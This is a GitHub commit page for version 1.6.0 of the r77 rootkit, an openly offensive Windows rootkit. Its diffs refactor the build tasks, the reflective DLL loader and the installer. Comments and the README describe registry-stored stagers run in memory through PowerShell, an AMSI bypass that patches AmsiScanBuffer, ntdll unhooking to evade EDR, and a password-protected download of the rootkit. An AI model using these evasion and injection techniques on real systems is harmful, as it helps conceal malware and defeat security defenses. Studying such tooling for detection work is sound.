Skip to content

Commit 425633b

Browse files
committed
1.6.0
2 parents 206e911 + 732aeec commit 425633b

39 files changed

+477
-242
lines changed

$Docs/Documentation.docx

-29.2 KB
Binary file not shown.
File renamed without changes.

BuildTask/BuildTask.cs

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@ namespace BuildTask
1515
/// <para>-compress: Compress file</para>
1616
/// <para>-encrypt: Encrypt file</para>
1717
/// <para>-toshellcode: Extracts an executable file's .text section</para>
18-
/// <para>-r77service: Write R77_SERVICE_SIGNATURE to r77 header</para>
1918
/// <para>-r77helper: Write R77_HELPER_SIGNATURE to r77 header</para>
2019
/// <para>-shellcodeinstaller: Converts Install.exe to Install.shellcode</para>
2120
/// </summary>
@@ -39,7 +38,6 @@ public static int Main(string[] args)
3938
if (args.Contains("-compress")) file = Compress(file);
4039
if (args.Contains("-encrypt")) file = Encrypt(file);
4140
if (args.Contains("-toshellcode")) file = ExtractShellCode(file);
42-
if (args.Contains("-r77service")) file = R77Signature(file, R77Const.R77ServiceSignature);
4341
if (args.Contains("-r77helper")) file = R77Signature(file, R77Const.R77HelperSignature);
4442

4543
File.WriteAllBytes(args[0], file);

Global/GlobalAssemblyInfo.cs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
using System.Reflection;
22

3-
[assembly: AssemblyVersion("1.5.5")]
4-
[assembly: AssemblyFileVersion("1.5.5")]
3+
[assembly: AssemblyVersion("1.6.0")]
4+
[assembly: AssemblyFileVersion("1.6.0")]
55
[assembly: AssemblyCopyright("© bytecode77, 2025.")]

Helper/Helper.c

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -96,16 +96,7 @@ BOOL GetProcessList(PPROCESS_LIST_ENTRY entries, LPDWORD count)
9696
}
9797
BOOL CreateConfigSystem()
9898
{
99-
HKEY key;
100-
if (InstallR77Config(&key))
101-
{
102-
RegCloseKey(key);
103-
return TRUE;
104-
}
105-
else
106-
{
107-
return FALSE;
108-
}
99+
return InstallR77Config();
109100
}
110101
BOOL Inject(DWORD processId, LPBYTE dll, DWORD dllSize)
111102
{

Install/Install.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ int main()
2121
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
2222

2323
// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
24-
// The C# binary will proceed with creating a native process using process hollowing.
24+
// The C# binary will proceed with starting the r77 service using reflective DLL injection.
2525
// The powershell command is purely inline and doesn't require a ps1 file.
2626

2727
LPWSTR powershellCommand = GetPowershellCommand();

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ This graph shows each stage from the execution of the installer all the way down
6868
Several AV and EDR evasion techniques are in use:
6969

7070
- **AMSI bypass:** The PowerShell inline script disables AMSI by patching `amsi.dll!AmsiScanBuffer` to always return `AMSI_RESULT_CLEAN`. Polymorphism is used to evade signature detection of the AMSI bypass.
71-
- **DLL unhooking:** Since EDR solutions monitor API calls by hooking `ntdll.dll`, these hooks need to be removed by loading a fresh copy of `ntdll.dll` from disk and restoring the original section. Otherwise, process hollowing would be detected.
71+
- **DLL unhooking:** Since EDR solutions monitor API calls by hooking `ntdll.dll`, these hooks need to be removed by loading a fresh copy of `ntdll.dll` from disk and restoring the original section. Otherwise, process injection would be detected.
7272

7373
## Test environment
7474

@@ -82,7 +82,7 @@ Please read the [technical documentation](https://docs.bytecode77.com/r77-rootki
8282

8383
## Downloads
8484

85-
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.5.5.zip](https://downloads.bytecode77.com/r77Rootkit%201.5.5.zip)
85+
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.6.0.zip](https://downloads.bytecode77.com/r77Rootkit%201.6.0.zip)
8686
(**ZIP Password:** bytecode77)<br />
8787
[![](https://bytecode77.com/public/fileicons/pdf.png) Technical Documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)
8888

r77/ReflectiveDllMain.c renamed to ReflectiveDllMain/ReflectiveDllMain.c

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,6 @@ BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)
1414
NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54);
1515
NT_VIRTUALPROTECT virtualProtect = (NT_VIRTUALPROTECT)PebGetProcAddress(0x6a4abc5b, 0x7946c61b);
1616

17-
// Safety check: Continue only, if all functions were found.
1817
if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc && virtualProtect)
1918
{
2019
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
File renamed without changes.
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup Label="Globals">
4+
<MSBuildAllProjects Condition="'$(MSBuildVersion)' == '' Or '$(MSBuildVersion)' &lt; '16.0'">$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
5+
<HasSharedItems>true</HasSharedItems>
6+
<ItemsProjectGuid>{beabb20f-6030-4275-a8cf-56245417f4b1}</ItemsProjectGuid>
7+
</PropertyGroup>
8+
<ItemDefinitionGroup>
9+
<ClCompile>
10+
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
11+
</ClCompile>
12+
</ItemDefinitionGroup>
13+
<ItemGroup>
14+
<ProjectCapability Include="SourceItemsFromImports" />
15+
</ItemGroup>
16+
<ItemGroup>
17+
<ClInclude Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.h" />
18+
</ItemGroup>
19+
<ItemGroup>
20+
<ClCompile Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.c" />
21+
</ItemGroup>
22+
</Project>

0 commit comments

Comments
 (0)